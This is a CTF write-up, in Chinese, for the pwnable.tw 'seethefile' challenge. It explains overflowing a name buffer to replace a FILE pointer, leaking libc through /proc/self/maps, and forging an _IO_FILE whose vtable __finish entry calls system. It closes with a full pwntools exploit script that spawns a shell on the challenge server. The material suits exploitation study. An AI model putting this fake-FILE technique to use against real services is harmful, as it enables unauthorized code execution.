pwnable.tw 9 seethefile [250 pts]
之前做了五道題直接做自閉了,各種手寫shellcode,學到了很多姿勢,這是一道檔案題,沒接觸過,來挑戰一下……
no canary found!!!!!! 拖進IDA分析
一共有五個功能
有一個明顯的棧溢位
我們可以通過溢位name來覆蓋fp
1)openfile:開啟檔案,檔案指標就是fp,不能開啟檔名為flag的檔案
2)readfile:從fp讀取0x18F個位元組到magicbuf上
3)closefile:關閉檔案,指標fp賦0
4)writefile:只是一個列印函式,而不能寫入,不能列印flag,FLAG,}名的檔案,如下
思路就是構造fake FILE,從而使得接下來的fclose執行system(“/bin/sh”)
一開始也不知到咋洩露libc內容
後來看了這篇文章:http://p4nda.top/2017/09/20/pwnable-tw-seethefile/
原來檔案的記憶體資訊儲存與/proc/pid/maps中
遠端一下試試看
還行,可以看見,我們需要的是libc_address的偏移量,然後找出system_address
我們還需要學會怎麼偽造IO_File,頭疼,又是沒接觸過的
學習連結:https://www.jianshu.com/p/2e00afb01606
提幾個偷懶的知識點好了:
1._IO_FILE結構體大小為0x94,我的版本是這個,查一下就好,只需要改掉有用的
2._flags & 0x2000為0就會直接呼叫_IO_FINSH(fp),_IO_FINISH(fp)相當於呼叫fp->vtabl->__finish(fp)
3.將fp指向一塊記憶體P,P偏移0的前4位元組設定為0xffffdfff,P偏移4位置放上要執行的字串指令(字串以';'開頭即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆蓋為記憶體區域Q,Q偏移2*4位元組處(vtable->__finish)覆蓋為system函式地址即可
4.vtable是個虛標指標,裡面一般性是21or23個變數,我們需要改的是第三個,別的填充些正常的地址就好
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./seethefile')
bin = ELF('./seethefile')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('chall.pwnable.tw',10200)
bin = ELF('./seethefile')
libc = ELF('libc_32.so.6')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def openfile(name):
cn.recvuntil('Your choice :')
cn.sendline('1')
cn.recvuntil('to see :')
cn.sendline(name)
def readfile():
cn.recvuntil('Your choice :')
cn.sendline('2')
def writefile():
cn.recvuntil('Your choice :')
cn.sendline('3')
def closefile():
cn.recvuntil('Your choice :')
cn.sendline('4')
def exit(name):
cn.recvuntil('Your choice :')
cn.sendline('5')
cn.recvuntil('your name :')
cn.sendline(name)
openfile('/proc/self/maps')
readfile()
writefile()
cn.recvline()
cn.recvline()
cn.recvline()
cn.recvline()
libc.address = int(cn.recvline()[:8],16)+0x1000
print 'offset: '+hex(libc.address)
system_addr=libc.symbols['system']
print 'system: '+hex(system_addr)
closefile()
openfile('/proc/self/maps')
#spare place
addr=0x0804B300
payload=''
#padding+change *fp
payload+='a'*32 + p32(addr)
payload+='\x00'*(0x80-4)
#fake IO file
#flag+code
payload+='\xff\xff\xdf\xff;$0\x00'.ljust(0x94,'\x00')
#change vtable
payload+=p32(addr+0x98)
payload+=p32(system_addr)*21
exit(payload)
cn.interactive()